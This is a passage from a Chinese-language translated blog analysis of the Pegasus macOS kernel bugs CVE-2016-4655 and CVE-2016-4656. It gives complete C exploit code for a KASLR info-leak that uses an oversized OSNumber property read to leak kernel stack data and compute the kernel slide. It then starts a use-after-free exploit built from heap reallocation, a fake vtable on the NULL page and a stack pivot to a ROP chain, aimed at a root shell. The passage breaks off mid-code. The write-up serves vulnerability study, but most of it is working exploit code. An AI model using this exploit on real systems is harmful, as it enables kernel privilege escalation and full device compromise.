<li>使用序列化字典在内核中的用户客户端对象中设置属性。</li>
<li>读取设置的属性（OSNumber），通过超长的大小泄漏相邻的数据。</li>
<li>使用一些读取的数据来计算 kernel slide。</li>
</ul>
<p>以下是实际代码：</p>
<figure class="highlight c"><table><tr><td class="code"><pre><span class="line"><span class="function"><span class="keyword">uint64_t</span> <span class="title">kslide_infoleak</span><span class="params">(<span class="keyword">void</span>)</span></span></span><br><span class="line"><span class="function"></span>&#123;</span><br><span class="line">    <span class="keyword">kern_return_t</span> kr = <span class="number">0</span>, err = <span class="number">0</span>;</span><br><span class="line">    <span class="keyword">mach_port_t</span> res = MACH_PORT_NULL, master = MACH_PORT_NULL;</span><br><span class="line">    <span class="keyword">io_service_t</span> serv = <span class="number">0</span>;</span><br><span class="line">    <span class="keyword">io_connect_t</span> conn = <span class="number">0</span>;</span><br><span class="line">    <span class="keyword">io_iterator_t</span> iter = <span class="number">0</span>;</span><br><span class="line">    <span class="keyword">uint64_t</span> kslide = <span class="number">0</span>;</span><br><span class="line">    <span class="keyword">void</span> *dict = <span class="built_in">calloc</span>(<span class="number">1</span>, <span class="number">512</span>);</span><br><span class="line">    <span class="keyword">uint32_t</span> idx = <span class="number">0</span>; <span class="comment">// index into our data</span></span><br><span class="line"><span class="meta">#<span class="meta-keyword">define</span> WRITE_IN(dict, data) do &#123; *(uint32_t *)(dict + idx) = (data); idx += 4; &#125; while (0)</span></span><br><span class="line">    WRITE_IN(dict, (<span class="number">0x000000d3</span>)); <span class="comment">// signature, always at the beginning</span></span><br><span class="line">    WRITE_IN(dict, (kOSSerializeEndCollection | kOSSerializeDictionary | <span class="number">2</span>)); <span class="comment">// dictionary with two entries</span></span><br><span class="line">    WRITE_IN(dict, (kOSSerializeSymbol | <span class="number">4</span>)); <span class="comment">// key with symbol, 3 chars + NUL byte</span></span><br><span class="line">    WRITE_IN(dict, (<span class="number">0x00414141</span>)); <span class="comment">// &#x27;AAA&#x27; key + NUL byte in little-endian</span></span><br><span class="line">    WRITE_IN(dict, (kOSSerializeEndCollection | kOSSerializeNumber | <span class="number">0x200</span>)); <span class="comment">// value with big-size number</span></span><br><span class="line">    WRITE_IN(dict, (<span class="number">0x41414141</span>)); WRITE_IN(dict, (<span class="number">0x41414141</span>)); <span class="comment">// at least 8 bytes for our big numbe</span></span><br><span class="line">    host_get_io_master(mach_host_self(), &amp;master); <span class="comment">// get iokit master port</span></span><br><span class="line">    kr = io_service_get_matching_services_bin(master, (<span class="keyword">char</span> *)dict, idx, &amp;res);</span><br><span class="line">    <span class="keyword">if</span> (kr == KERN_SUCCESS) &#123;</span><br><span class="line">        <span class="built_in">printf</span>(<span class="string">&quot;(+) Dictionary is valid! Spawning user client...\n&quot;</span>);</span><br><span class="line">    &#125; <span class="keyword">else</span></span><br><span class="line">        <span class="keyword">return</span> <span class="number">-1</span>;</span><br><span class="line">    serv = IOServiceGetMatchingService(master, IOServiceMatching(<span class="string">&quot;IOHDIXController&quot;</span>));</span><br><span class="line">    kr = io_service_open_extended(serv, mach_task_self(), <span class="number">0</span>, NDR_record, (<span class="keyword">io_buf_ptr_t</span>)dict, idx, &amp;err, &amp;conn);</span><br><span class="line">    <span class="keyword">if</span> (kr == KERN_SUCCESS) &#123;</span><br><span class="line">        <span class="built_in">printf</span>(<span class="string">&quot;(+) UC successfully spawned! Leaking bytes...\n&quot;</span>);</span><br><span class="line">    &#125; <span class="keyword">else</span></span><br><span class="line">        <span class="keyword">return</span> <span class="number">-1</span>;</span><br><span class="line">    IORegistryEntryCreateIterator(serv, <span class="string">&quot;IOService&quot;</span>, kIORegistryIterateRecursively, &amp;iter);</span><br><span class="line">    <span class="keyword">io_object_t</span> object = IOIteratorNext(iter);</span><br><span class="line">    <span class="keyword">char</span> buf[<span class="number">0x200</span>] = &#123;<span class="number">0</span>&#125;;</span><br><span class="line">    <span class="keyword">mach_msg_type_number_t</span> bufCnt = <span class="number">0x200</span>;</span><br><span class="line">    kr = io_registry_entry_get_property_bytes(object, <span class="string">&quot;AAA&quot;</span>, (<span class="keyword">char</span> *)&amp;buf, &amp;bufCnt);</span><br><span class="line">    <span class="keyword">if</span> (kr == KERN_SUCCESS) &#123;</span><br><span class="line">        <span class="built_in">printf</span>(<span class="string">&quot;(+) Done! Calculating KASLR slide...\n&quot;</span>);</span><br><span class="line">    &#125; <span class="keyword">else</span></span><br><span class="line">        <span class="keyword">return</span> <span class="number">-1</span>;</span><br><span class="line"><span class="meta">#<span class="meta-keyword">if</span> 0</span></span><br><span class="line">    <span class="keyword">for</span> (<span class="keyword">uint32_t</span> k = <span class="number">0</span>; k &lt; <span class="number">128</span>; k += <span class="number">8</span>) &#123;</span><br><span class="line">        <span class="built_in">printf</span>(<span class="string">&quot;%#llx\n&quot;</span>, *(<span class="keyword">uint64_t</span> *)(buf + k));</span><br><span class="line">    &#125;</span><br><span class="line"><span class="meta">#<span class="meta-keyword">endif</span></span></span><br><span class="line">    <span class="keyword">uint64_t</span> hardcoded_ret_addr = <span class="number">0xffffff80003934bf</span>;</span><br><span class="line">    kslide = (*(<span class="keyword">uint64_t</span> *)(buf + (<span class="number">7</span> * <span class="keyword">sizeof</span>(<span class="keyword">uint64_t</span>)))) - hardcoded_ret_addr;</span><br><span class="line">    <span class="built_in">printf</span>(<span class="string">&quot;(i) KASLR slide is %#016llx\n&quot;</span>, kslide);</span><br><span class="line">    <span class="keyword">return</span> kslide;</span><br><span class="line">&#125;</span><br></pre></td></tr></table></figure>

<h4 id="制作字典"><a href="#制作字典" class="headerlink" title="制作字典"></a>制作字典</h4><p>我们将要使用 enum 中描述的那些来创建二进制序列化数据，一种较为简单的方式是分配内存，然后使用指针向其中写入掩码值。</p>
<table><tbody><tr><td class="code"><pre><div class="line"><span class="keyword">void</span> *dict = <span class="built_in">calloc</span>(<span class="number">1</span>, <span class="number">512</span>);</div><div class="line"><span class="keyword">uint32_t</span> idx = <span class="number">0</span>; <span class="comment">// index into our data</span></div><div class="line"></div><div class="line"><span class="meta">#<span class="meta-keyword">define</span> WRITE_IN(dict, data) do { *(uint32_t *)(dict + idx) = (data); idx += 4; } while (0)</span></div></pre></td></tr></tbody></table>

<p>我们的宏是非常有用的，因为它使我们可以向已分配的内存中写入数据，并且使索引在每次使用后更新。</p>
<p>所以，使用我们之前讲过的知识，现在让我们用 XML 写下字典吧：</p>
<figure class="highlight c"><table><tr><td class="code"><pre><span class="line">&lt;dict&gt;</span><br><span class="line">	&lt;symbol&gt;AAA&lt;/symbol&gt;</span><br><span class="line">	&lt;number size=<span class="number">0x200</span>&gt;<span class="number">0x4141414141414141</span>&lt;/number&gt;</span><br><span class="line">&lt;/dict&gt;</span><br></pre></td></tr></table></figure>

<p>转换为二进制：</p>
<figure class="highlight c"><table><tr><td class="code"><pre><span class="line">WRITE_IN(dict, (<span class="number">0x000000d3</span>)); <span class="comment">// signature, always at the beginning</span></span><br><span class="line">WRITE_IN(dict, (kOSSerializeEndCollection | kOSSerializeDictionary | <span class="number">2</span>)); <span class="comment">// dictionary with two entries</span></span><br><span class="line">WRITE_IN(dict, (kOSSerializeSymbol | <span class="number">4</span>)); <span class="comment">// key with symbol, 3 chars + NUL byte</span></span><br><span class="line">WRITE_IN(dict, (<span class="number">0x00414141</span>)); <span class="comment">// &#x27;AAA&#x27; key + NUL byte in little-endian</span></span><br><span class="line">WRITE_IN(dict, (kOSSerializeEndCollection | kOSSerializeNumber | <span class="number">0x200</span>)); <span class="comment">// value with big-size number</span></span><br><span class="line">WRITE_IN(dict, (<span class="number">0x41414141</span>)); WRITE_IN(dict, (<span class="number">0x41414141</span>)); <span class="comment">// at least 8 bytes for our big number</span></span><br></pre></td></tr></table></figure>

<p>在不创建用户客户端的情况下测试我们的字典是否有效，我们可以使用 io_service_get_matching_services_bin 私有函数（同样是在 <code>IOKit/iokitmig.h</code> 头文件中），之后在触发 UAF 漏洞中也会使用到。</p>
<table><tbody><tr><td class="code"><pre><div class="line">host_get_io_master(mach_host_self(), &amp;master); <span class="comment">// get iokit master port</span></div><div class="line"></div><div class="line">kr = io_service_get_matching_services_bin(master, (<span class="keyword">char</span> *)dict, idx, &amp;res);</div><div class="line"><span class="keyword">if</span> (kr == KERN_SUCCESS) {</div><div class="line">    <span class="built_in">printf</span>(<span class="string">"(+) Dictionary is valid! Spawning user client...\n"</span>);</div><div class="line">} <span class="keyword">else</span></div><div class="line">    <span class="keyword">return</span> <span class="number">-1</span>;</div></pre></td></tr></tbody></table>

<p>如果返回值等于0，那么我们创建的字典将会被正确解析，当然也就有效。现在我们已经确定的字典的有效性，那么我们可以通过它来设置属性了，继续来创建用户客户端。</p>
<h4 id="产生用户客户端"><a href="#产生用户客户端" class="headerlink" title="产生用户客户端"></a>产生用户客户端</h4><p>就像之前提到的那样，我们将要通过在 service 中调用 io_service_open_extended 来产生用户客户端。使用什么服务并不重要，只要它能提供客户端。在这个例子中，我们通过打开 IOHDIXController（被用来存储磁盘数据）服务，来产生 IOHDIXControllerUserClient 对象，所以我们的代码是这样的。</p>
<table><tbody><tr><td class="code"><pre><div class="line">serv = IOServiceGetMatchingService(master, IOServiceMatching(<span class="string">"IOHDIXController"</span>));</div><div class="line"></div><div class="line">kr = io_service_open_extended(serv, mach_task_self(), <span class="number">0</span>, NDR_record, (<span class="keyword">io_buf_ptr_t</span>)dict, idx, &amp;err, &amp;conn);</div><div class="line"><span class="keyword">if</span> (kr == KERN_SUCCESS) {</div><div class="line">    <span class="built_in">printf</span>(<span class="string">"(+) UC successfully spawned! Leaking bytes...\n"</span>);</div><div class="line">} <span class="keyword">else</span></div><div class="line">    <span class="keyword">return</span> <span class="number">-1</span>;</div></pre></td></tr></tbody></table>

<p>首先，我们要获得服务的一个端口，可以使用 IOServiceGetMatchingService 函数，这个函数将会从 IORegistry 中过滤出我们的服务，通过包含服务名字（IOServiceMatching）的匹配字典。然后我们使用私有函数 io_service_open_extended 打开这个服务（产生用户客户端）。这可以让我们直接指定属性。</p>
<p>现在，客户端是用我们指定的属性来创建的。我们怎样访问它呢？我们需要在 IORegistry 中手动迭代，直到找到我们的客户端。然后，我们将会读取属性，从而造成 info-leak。</p>
<table><tbody><tr><td class="code"><pre><div class="line">IORegistryEntryCreateIterator(serv, <span class="string">"IOService"</span>, kIORegistryIterateRecursively, &amp;iter);</div><div class="line"><span class="keyword">io_object_t</span> object = IOIteratorNext(iter);</div></pre></td></tr></tbody></table>

<p>这段代码所做的是，创建一个 io_iterator_t 并且将其设置为 IORegistry 中的 serv。 serv 只是一个代表内核中实际驱动对象的 Mach 端口。因为用户客户端是主驱动对象的客户端，所以在 IORegistry 中，我们的用户客户端将会紧挨着驱动对象之后创建。因此，我们只需增加一次迭代，就可以获得表示我们用户客户端的 Mach 端口。一旦用户客户端对象在内核中被创建，且我们在 IORegistry 中找到它，那么我们就可以读取它的属性，来触发 info-leak 了。</p>
<h4 id="读取属性"><a href="#读取属性" class="headerlink" title="读取属性"></a>读取属性</h4><table><tbody><tr><td class="code"><pre><div class="line"><span class="keyword">char</span> buf[<span class="number">0x200</span>] = {<span class="number">0</span>};</div><div class="line"><span class="keyword">mach_msg_type_number_t</span> bufCnt = <span class="number">0x200</span>;</div><div class="line"></div><div class="line">kr = io_registry_entry_get_property_bytes(object, <span class="string">"AAA"</span>, (<span class="keyword">char</span> *)&amp;buf, &amp;bufCnt);</div><div class="line"><span class="keyword">if</span> (kr == KERN_SUCCESS) {</div><div class="line">    <span class="built_in">printf</span>(<span class="string">"(+) Done! Calculating KASLR slide...\n"</span>);</div><div class="line">} <span class="keyword">else</span></div><div class="line">    <span class="keyword">return</span> <span class="number">-1</span>;</div></pre></td></tr></tbody></table>

<p>我们再次使用一个私有函数 <code>io_registry_entry_get_property_bytes</code>。这个函数跟 IORegistryEntryGetProperty 相似，但是可以让我们直接获取原始字节。所以，通过它，<code>buf</code> 缓冲区将会包含我们的已被泄漏的字节。让我们打印一下，看看这里都有什么吧：</p>
<table><tbody><tr><td class="code"><pre><div class="line">for (uint32_t k = 0; k &lt; 128; k += 8) {</div><div class="line">    printf("%#llx\n", *(uint64_t *)(buf + k));</div><div class="line">}</div></pre></td></tr></tbody></table>

<p>以下是输出：</p>
<figure class="highlight shell"><table><tr><td class="code"><pre><span class="line">0x4141414141414141  // our valid number</span><br><span class="line">0xffffff8033c66284  //</span><br><span class="line">0xffffff8035b5d800  //</span><br><span class="line">0x4                 // other data on the stack between our valid number and the ret addr...</span><br><span class="line">0xffffff803506d5a0  //</span><br><span class="line">0xffffff8033c662b4  //</span><br><span class="line">0xffffff818d2b3e30  //</span><br><span class="line">0xffffff80037934bf  // function return address</span><br><span class="line">...</span><br></pre></td></tr></table></figure>



<p>第一个值，<code>0x4141414141414141</code>,是我们的实际数据，还记得吗？剩下的值都是从内核栈上面泄漏出来的数据。现在，查看从用户客户端读取属性的内核代码是非常有用的，这样我们就可以更清楚的了解发生了什么。实际代码存在于 is_io_registry_entry_get_property_bytes 函数中，被  io_registry_entry_get_property_bytes 调用。</p>
<p><code>iokit/Kernel/IOUserClient.cpp</code></p>
<figure class="highlight c++"><table><tr><td class="code"><pre><span class="line"><span class="comment">/* Routine io_registry_entry_get_property */</span></span><br><span class="line"><span class="function"><span class="keyword">kern_return_t</span> <span class="title">is_io_registry_entry_get_property_bytes</span><span class="params">(</span></span></span><br><span class="line"><span class="function"><span class="params">	<span class="keyword">io_object_t</span> registry_entry,</span></span></span><br><span class="line"><span class="function"><span class="params">	<span class="keyword">io_name_t</span> property_name,</span></span></span><br><span class="line"><span class="function"><span class="params">	<span class="keyword">io_struct_inband_t</span> buf,</span></span></span><br><span class="line"><span class="function"><span class="params">	<span class="keyword">mach_msg_type_number_t</span> *dataCnt )</span></span></span><br><span class="line"><span class="function"></span>&#123;</span><br><span class="line">    OSObject	*	obj;</span><br><span class="line">    OSData 	*	data;</span><br><span class="line">    OSString 	*	str;</span><br><span class="line">    OSBoolean	*	boo;</span><br><span class="line">    OSNumber 	*	off;</span><br><span class="line">    UInt64		offsetBytes;</span><br><span class="line">    <span class="keyword">unsigned</span> <span class="keyword">int</span>	len = <span class="number">0</span>;</span><br><span class="line">    <span class="keyword">const</span> <span class="keyword">void</span> *	bytes = <span class="number">0</span>;</span><br><span class="line">    IOReturn		ret = kIOReturnSuccess;</span><br><span class="line">    CHECK( IORegistryEntry, registry_entry, entry );</span><br><span class="line"><span class="meta">#<span class="meta-keyword">if</span> CONFIG_MACF</span></span><br><span class="line">    <span class="keyword">if</span> (<span class="number">0</span> != mac_iokit_check_get_property(kauth_cred_get(), entry, property_name))</span><br><span class="line">        <span class="keyword">return</span> kIOReturnNotPermitted;</span><br><span class="line"><span class="meta">#<span class="meta-keyword">endif</span></span></span><br><span class="line">    obj = entry-&gt;copyProperty(property_name);</span><br><span class="line">    <span class="keyword">if</span>( !obj)</span><br><span class="line">        <span class="keyword">return</span>( kIOReturnNoResources );</span><br><span class="line">    <span class="comment">// One day OSData will be a common container base class</span></span><br><span class="line">    <span class="comment">// until then...</span></span><br><span class="line">    <span class="keyword">if</span>( (data = OSDynamicCast( OSData, obj ))) &#123;</span><br><span class="line">	len = data-&gt;getLength();</span><br><span class="line">	bytes = data-&gt;getBytesNoCopy();</span><br><span class="line">    &#125; <span class="keyword">else</span> <span class="keyword">if</span>( (str = OSDynamicCast( OSString, obj ))) &#123;</span><br><span class="line">	len = str-&gt;getLength() + <span class="number">1</span>;</span><br><span class="line">	bytes = str-&gt;getCStringNoCopy();</span><br><span class="line">    &#125; <span class="keyword">else</span> <span class="keyword">if</span>( (boo = OSDynamicCast( OSBoolean, obj ))) &#123;</span><br><span class="line">	len = boo-&gt;isTrue() ? <span class="keyword">sizeof</span>(<span class="string">&quot;Yes&quot;</span>) : <span class="keyword">sizeof</span>(<span class="string">&quot;No&quot;</span>);</span><br><span class="line">	bytes = boo-&gt;isTrue() ? <span class="string">&quot;Yes&quot;</span> : <span class="string">&quot;No&quot;</span>;</span><br><span class="line">    &#125; <span class="keyword">else</span> <span class="keyword">if</span>( (off = OSDynamicCast( OSNumber, obj ))) &#123;    <span class="comment">/* j: reading an OSNumber */</span></span><br><span class="line">	offsetBytes = off-&gt;unsigned64BitValue();</span><br><span class="line">	len = off-&gt;numberOfBytes();</span><br><span class="line">	bytes = &amp;offsetBytes;</span><br><span class="line"><span class="meta">#<span class="meta-keyword">ifdef</span> __BIG_ENDIAN__</span></span><br><span class="line">	bytes = (<span class="keyword">const</span> <span class="keyword">void</span> *)</span><br><span class="line">		(((UInt32) bytes) + (<span class="keyword">sizeof</span>( UInt64) - len));</span><br><span class="line"><span class="meta">#<span class="meta-keyword">endif</span></span></span><br><span class="line">    &#125; <span class="keyword">else</span></span><br><span class="line">	ret = kIOReturnBadArgument;</span><br><span class="line">    <span class="keyword">if</span>( bytes) &#123;</span><br><span class="line">	<span class="keyword">if</span>( *dataCnt &lt; len)</span><br><span class="line">	    ret = kIOReturnIPCError;</span><br><span class="line">	<span class="keyword">else</span> &#123;</span><br><span class="line">            *dataCnt = len;</span><br><span class="line">            bcopy( bytes, buf, len );</span><br><span class="line">	&#125;</span><br><span class="line">    &#125;</span><br><span class="line">    obj-&gt;<span class="built_in">release</span>();</span><br><span class="line">    <span class="keyword">return</span>( ret );</span><br><span class="line">&#125;</span><br></pre></td></tr></table></figure>



<p>我们是读取的 OSNumber 类型，所以直接看 OSNumber 的情况：</p>
<table><tbody><tr><td class="code"><pre><div class="line">...</div><div class="line"><span class="keyword">else</span> <span class="keyword">if</span>( (off = OSDynamicCast( OSNumber, obj ))) {</div><div class="line">    offsetBytes = off-&gt;unsigned64BitValue(); <span class="comment">/* j: the offsetBytes variable is allocated on the stack */</span></div><div class="line">    len = off-&gt;numberOfBytes(); <span class="comment">/* j: this reads out our malformed length, 0x200 */</span></div><div class="line">    bytes = &amp;offsetBytes; <span class="comment">/* j: bytes* ptr points to a stack variable */</span></div><div class="line"></div><div class="line">    ...</div><div class="line">}</div><div class="line">...</div></pre></td></tr></tbody></table>

<p>然后，跳出 if-else 语句：</p>
<table><tbody><tr><td class="code"><pre><div class="line"><span class="keyword">if</span>( bytes) {</div><div class="line">    <span class="keyword">if</span>( *dataCnt &lt; len)</div><div class="line">        ret = kIOReturnIPCError;</div><div class="line">    <span class="keyword">else</span> {</div><div class="line">        *dataCnt = len;</div><div class="line">        bcopy( bytes, buf, len ); <span class="comment">/* j: this leaks data from the stack */</span></div><div class="line">    }</div><div class="line">}</div></pre></td></tr></tbody></table>

<p>当 <code>bcopy</code> 执行复制操作时，它将会从 bytes 指针中一直读取之前我们构造的那个超过常规的长度的字节，而 bytes 指针指向的是一个栈变量，从而可以有效地从栈上读取泄漏的数据。之后，它将会读取到存在栈上的函数的返回地址。正如我们所知道的那样，这个地址可以在 kernel 二进制文件中对应找到它偏移前的静态地址。所以，通过用我们从栈中得到的泄漏地址（偏移后的）减去对应的静态地址（未偏移的）。我们就能得到内核偏移（kernel slide）！</p>
<h4 id="计算内核偏移"><a href="#计算内核偏移" class="headerlink" title="计算内核偏移"></a>计算内核偏移</h4><p>所以，我们需要找到未偏移（unslid）的内核地址。打开你喜欢的反编译软件（本例中用的是 Hopper，因为它比 IDA 更快），加载 kernel 文件，找到 is_io_registry_entry_get_property_bytes 函数。</p>
<p><img src="/images/2016-12-16-%E8%AF%91-Analysis-and-exploitation-of-Pegasus-kernel-vulnerabilities-CVE-2016-4655-CVE-2016-4656/%E5%9B%BE2.png"></p>
<p>现在，我们只需要找到这个函数的 Xrefs。 Hopper 把 Xrefs 列在函数开始的地方的右侧，在 IDA 中需要使用 CMD-X 或者 CTRL-X。</p>
<figure class="highlight c"><table><tr><td class="code"><pre><span class="line">; XREF=sub_ffffff80003933c0+<span class="number">250</span></span><br><span class="line"></span><br><span class="line">...      </span><br><span class="line">ffffff80003934ba         call       _is_io_registry_entry_get_property_bytes    <span class="comment">/* the actuall call */</span></span><br><span class="line">ffffff80003934bf         mov        dword [ds:r14+<span class="number">0x28</span>], eax    <span class="comment">/* here&#x27;s the function return address! */</span></span><br><span class="line">...</span><br></pre></td></tr></table></figure>

<p>在 x86-64 ISA 约定中，call 指令会将地址 0xffffff80003934bf（返回地址）push 到栈中。这个地址会在运行时被偏移，所以现在回去看看我们泄漏的数据吧。</p>
<figure class="highlight c"><table><tr><td class="code"><pre><span class="line"><span class="number">0xffffff80037934bf</span> - <span class="number">0xffffff80003934bf</span> = <span class="number">0x3400000</span></span><br></pre></td></tr></table></figure>

<p>现在我们知道地址 0xffffff80037934bf 实际上就是 0xffffff80003934bf 偏移后的地址。让我们来做个数学计算：</p>
<figure class="highlight apache"><table><tr><td class="code"><pre><span class="line"><span class="attribute">0xffffff80037934bf</span> - <span class="number">0</span>xffffff<span class="number">80003934</span>bf = <span class="number">0</span>x<span class="number">3400000</span></span><br></pre></td></tr></table></figure>

<p>这也是最后一部分的代码：</p>
<table><tbody><tr><td class="code"><pre><div class="line"><span class="keyword">uint64_t</span> hardcoded_ret_addr = <span class="number">0xffffff80003934bf</span>;</div><div class="line"></div><div class="line">kslide = (*(<span class="keyword">uint64_t</span> *)(buf + (<span class="number">7</span> * <span class="keyword">sizeof</span>(<span class="keyword">uint64_t</span>)))) - hardcoded_ret_addr;</div><div class="line"></div><div class="line"><span class="built_in">printf</span>(<span class="string">"(i) KASLR slide is %#016llx\n"</span>, kslide);</div></pre></td></tr></tbody></table>

<p>当然也可以动态获取我们需要的那个 kernel 文件中的静态地址，但是这已经超出这篇文章的范围了。</p>
<p>现在我们已经有了 slide！在你自己的例子中，这个值将（非常可能）会不同，并且会在每次重启之后改变。我们现在可以创建一个函数的 ROP 链了，然后再触发 UAF 漏洞来执行它，从而获得 root 权限。让我们继续吧！</p>
<h3 id="Exploiting-CVE-2016-4656"><a href="#Exploiting-CVE-2016-4656" class="headerlink" title="Exploiting CVE-2016-4656"></a>Exploiting CVE-2016-4656</h3><p>现在我们已经有了 kernel slide，我们可以通过 UAF 来继续获得权限。要在各种类型的平台上利用 UAF 漏洞，重要的是要知道堆分配器（heap allocator）是如何工作的。这是因为只有当你对分配器是如何进行分配/释放的操作，有一个清晰的了解之后，才能成功的操控它们。</p>
<p>XNU 的堆分配器被称为 <code>zalloc</code>，并且有大量的在线文档讲解它<a href="#reference">[8]</a><a href="#reference">[9]</a><a href="#reference">[10]</a>。你也可以阅读位于 XNU 源码树 <code>osfmk/kern/zalloc.h</code> 以及 <code>osfmk/kern/zalloc.c</code> 中的代码。为了让你能更好的理解之后的利用程序中，我将快速过一遍这些基本概念。</p>
<p>简单地讲，zalloc 在 zones 中组织分配，一个 zone 表示大小相同的分配列表。 最常用的区域是 kalloc 区域。 kalloc 是一个建立在 zalloc 之上的，更高级别的内核分配器。它将请求到的分配大小向上舍入到最接近的二的幂值。因此，注册的 kalloc 区域持有两个分配的权利。在 OS X 上使用 zprint 命令查看输出：</p>
<figure class="highlight shell"><table><tr><td class="code"><pre><span class="line">[jndok:~jndok(Debug)]: sudo zprint | grep kalloc</span><br><span class="line">kalloc.16                     16       1148K       1167K      73472       74733       62742     4K    256</span><br><span class="line">kalloc.32                     32       2160K       2627K      69120       84075       55581     4K    128</span><br><span class="line">kalloc.48                     48       3448K       3941K      73557       84075       67638     4K     85</span><br><span class="line">kalloc.64                     64       5236K       5911K      83776       94584       80523     4K     64</span><br><span class="line">kalloc.80                     80       1100K       1167K      14080       14946       13586     4K     51</span><br><span class="line">kalloc.96                     96       4160K       5254K      44373       56050       41922     8K     85</span><br><span class="line">kalloc.128                   128       2220K       2627K      17760       21018       16915     4K     32</span><br><span class="line">kalloc.160                   160        704K       1037K       4505        6643        4115     8K     51</span><br><span class="line">kalloc.256                   256       8004K       8867K      32016       35469       30851     4K     16</span><br><span class="line">kalloc.288                   288        740K        768K       2631        2733        2179    20K     71   </span><br><span class="line">kalloc.512                   512       1900K       2627K       3800        5254        3266     4K      8</span><br><span class="line">kalloc.1024                 1024       3048K       3941K       3048        3941        2588     4K      4   </span><br><span class="line">kalloc.1280                 1280        400K        512K        320         410         201    20K     16   </span><br><span class="line">kalloc.2048                 2048       1872K       2627K        936        1313         909     4K      2   </span><br><span class="line">kalloc.4096                 4096       6532K       8867K       1633        2216         515     4K      1   </span><br><span class="line">kalloc.8192                 8192       3160K       3503K        395         437         269     8K      1   </span><br></pre></td></tr></table></figure>



<p>这些区域只持有指定大小的分配。被释放的元素保存在一个链表中，其中最近被释放的元素附在结尾处。这是非常重要的，因为这意味着最近被释放的元素区域首先被重新分配。换句话说，如果一个元素被释放了，并且我们足够快，那么我们就可以设法重新分配它。</p>
<p>如何管理重新分配被称作分配 allocation primitive。它基本上是一种可靠第分配所需数量的内核内存的方法。我们将要使用的 allocation primitive 是在字典中 OSString 之后简单地创建一个对象。正如我们已经知道的，OSUnserializeBinary 会为反序列化对象分配内存，这是非常好的。我们还需要的是要准备地知道我们需要分配多少内存以及我们需要向其中写入什么数据。</p>
<p>在我们这个特例中，被释放的元素是 OSString，大小为32字节。也就是说每一个 OSString 都将会被访苏 kalloc.32 区域。因此，为了重新分配已被释放的 OSStirng，我们需要会被分配在同一区域的数据。 OSData 就是一个完美的候选者，因为我们可以通过字典来控制它的缓冲区数据，声明32字节，然后得到重分配。 OSString 将会在我们创建 kOSSerializeObject 引用指向它时被再次使用（还记得 retain 函数吗？）。</p>
<p>好了，现在来总结一下我们已经知道的：我们知道一旦字典被反序列化，则 OSString 的 key 值将会被释放，基于此，我们可以在这之后立即序列化大小为32字节的 OSData，来占据内存。在OSData之后，我们将会序列化一个指向 OSString的引用，这个引用将会在反序列化的时候调用 retain 函数，这样就会触发漏洞，NICE! 最后一件事就是要知道在 OSData 的缓冲区里填充些什么数据。</p>
<p>为此，想想 retain 函数。如果你了解 C++ 的调用约定的话，你可能会知道 OSString 是 OSObject 的子类，所以 retain 实际上是在 OSObject 里实现的，控制流将会通过 vtable（虚表），来调用恰当的父类实现（因为 OSString 并没有实现 retain ）。也就是说，我们需要制造一个假的 vtable，来控制执行流程。内核将会认为我们的假 vtable 是完全有效的，而这个假的 vtable 将会包含一个指针指向我们的 stack pivot（栈翻转），而不是父类的 retain。</p>
<p>假的虚表指针将会位于 OSData 缓冲区的开始处，因为在有效的 C++ 对象中，虚表指针通常都是位于对象的开始处。我们将会把我们的虚表以及 stack pivot 放在 NULL 页面中，因为 OSData 中的 NULL 地址更容易被控制。其他地址可能会被某些针对他们的操作更改，而 NULL 不会改变。也就是说，我们要将 OSData 的数据全部填充为0。</p>
<p>跟 info-leak 一样，在浏览代码之前，让我们来看一下 UAF 利用程序的计划：</p>
<ul>
<li>制作一个触发 UAF 的二进制字典，用被0填充的 OSData 重新分配被释放的 OSString 区域。</li>
<li>制作 NULL page。</li>
<li>在 NULL page 的0x20偏移处放置 stack pivot （这将使得执行程序跳转到转移链）。</li>
<li>在 NULL page 的0x0偏移处放置一个小的转移链（这将会使执行程序跳转到主链）。</li>
<li>触发漏洞。</li>
<li>用现在已经提升的权限，产生一个 shell。</li>
</ul>
<p>以下是代码：</p>
<figure class="highlight c"><table><tr><td class="code"><pre><span class="line"><span class="function"><span class="keyword">void</span> <span class="title">use_after_free</span><span class="params">(<span class="keyword">void</span>)</span></span></span><br><span class="line"><span class="function"></span>&#123;</span><br><span class="line">    <span class="keyword">kern_return_t</span> kr = <span class="number">0</span>;</span><br><span class="line">    <span class="keyword">mach_port_t</span> res = MACH_PORT_NULL, master = MACH_PORT_NULL;</span><br><span class="line">    <span class="comment">/* craft the dictionary */</span></span><br><span class="line">    <span class="built_in">printf</span>(<span class="string">&quot;(i) Crafting dictionary...\n&quot;</span>);</span><br><span class="line">    <span class="keyword">void</span> *dict = <span class="built_in">calloc</span>(<span class="number">1</span>, <span class="number">512</span>);</span><br><span class="line">    <span class="keyword">uint32_t</span> idx = <span class="number">0</span>; <span class="comment">// index into our data</span></span><br><span class="line"><span class="meta">#<span class="meta-keyword">define</span> WRITE_IN(dict, data) do &#123; *(uint32_t *)(dict + idx) = (data); idx += 4; &#125; while (0)</span></span><br><span class="line">    WRITE_IN(dict, (<span class="number">0x000000d3</span>)); <span class="comment">// signature, always at the beginning</span></span><br><span class="line">    WRITE_IN(dict, (kOSSerializeEndCollection | kOSSerializeDictionary | <span class="number">6</span>)); <span class="comment">// dict with 6 entries</span></span><br><span class="line">    WRITE_IN(dict, (kOSSerializeString | <span class="number">4</span>));   <span class="comment">// string &#x27;AAA&#x27;, will get freed</span></span><br><span class="line">    WRITE_IN(dict, (<span class="number">0x00414141</span>));</span><br><span class="line">    WRITE_IN(dict, (kOSSerializeBoolean | <span class="number">1</span>));  <span class="comment">// bool, true</span></span><br><span class="line">    WRITE_IN(dict, (kOSSerializeSymbol | <span class="number">4</span>));   <span class="comment">// symbol &#x27;BBB&#x27;</span></span><br><span class="line">    WRITE_IN(dict, (<span class="number">0x00424242</span>));</span><br><span class="line">    WRITE_IN(dict, (kOSSerializeData | <span class="number">32</span>));    <span class="comment">// data (0x00 * 32)</span></span><br><span class="line">    WRITE_IN(dict, (<span class="number">0x00000000</span>));</span><br><span class="line">    WRITE_IN(dict, (<span class="number">0x00000000</span>));</span><br><span class="line">    WRITE_IN(dict, (<span class="number">0x00000000</span>));</span><br><span class="line">    WRITE_IN(dict, (<span class="number">0x00000000</span>));</span><br><span class="line">    WRITE_IN(dict, (<span class="number">0x00000000</span>));</span><br><span class="line">    WRITE_IN(dict, (<span class="number">0x00000000</span>));</span><br><span class="line">    WRITE_IN(dict, (<span class="number">0x00000000</span>));</span><br><span class="line">    WRITE_IN(dict, (<span class="number">0x00000000</span>));</span><br><span class="line">    WRITE_IN(dict, (kOSSerializeSymbol | <span class="number">4</span>));   <span class="comment">// symbol 